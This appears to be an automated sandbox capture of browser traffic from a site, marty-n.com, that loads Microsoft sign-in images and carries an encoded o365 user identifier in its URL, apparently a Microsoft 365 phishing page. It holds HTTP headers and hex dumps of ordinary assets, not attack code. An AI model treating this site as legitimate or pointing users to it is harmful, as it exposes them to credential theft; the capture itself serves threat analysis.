3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 2e Data Ascii: etTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49728	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	648	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	778	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: c9c40271-601e-006d-06aa-26771d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200805Z-16849878b78x6gn56mgecg60qc00000002r000000000xkxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:05 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49727	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	649	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: f7e7a450-101e-0074-1f94-25c80b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200805Z-15b8d89586fbt6nf34bm5uw08n00000004yg000000004b55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:05 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49726	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	669	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 0c44100f-301e-0012-4cff-26b886000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200805Z-17c5cb586f6lxnvg801rcb3n8n00000000p000000000kuyu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-25 20:08:05 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49732	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	652	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 68cfccad-301e-0060-296f-26bfc9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200805Z-16849878b78qfbkc5yywmsbg0c00000000pg00000000gh8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-25 20:08:05 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49730	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	647	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:05 UTC	799	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:05 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 1b5f1178-f01e-0058-66d4-266cb6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200805Z-16849878b78rjhv97f3nhawr7s00000009p000000000cxan x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-25 20:08:05 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49733	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	653	OUT	GET /favicon.ico HTTP/1.1 Host: marty-n.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:06 UTC	270	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:06 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 11 Mar 2019 11:56:00 GMT ETag: "73b00d6-47e-583d04191d035" Accept-Ranges: bytes Content-Length: 1150 Content-Type: image/x-icon
2024-10-25 20:08:06 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49725	192.229.133.221	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	540	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:06 UTC	581	IN	HTTP/1.1 200 OK Age: 299768 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Fri, 25 Oct 2024 20:08:06 GMT Etag: "0a29a965824db1:0+gzip+ident" Last-Modified: Tue, 22 Oct 2024 08:01:24 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-10-25 20:08:06 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-10-25 20:08:06 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49729	152.199.21.175	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:05 UTC	655	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:06 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18542058 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Fri, 25 Oct 2024 20:08:06 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-25 20:08:06 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49737	13.107.246.45	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:06 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:07 UTC	778	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:07 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 74b63407-d01e-0057-02ee-256d65000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241025T200807Z-15b8d89586fcvr6p5956n5d0rc00000006w0000000009rqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
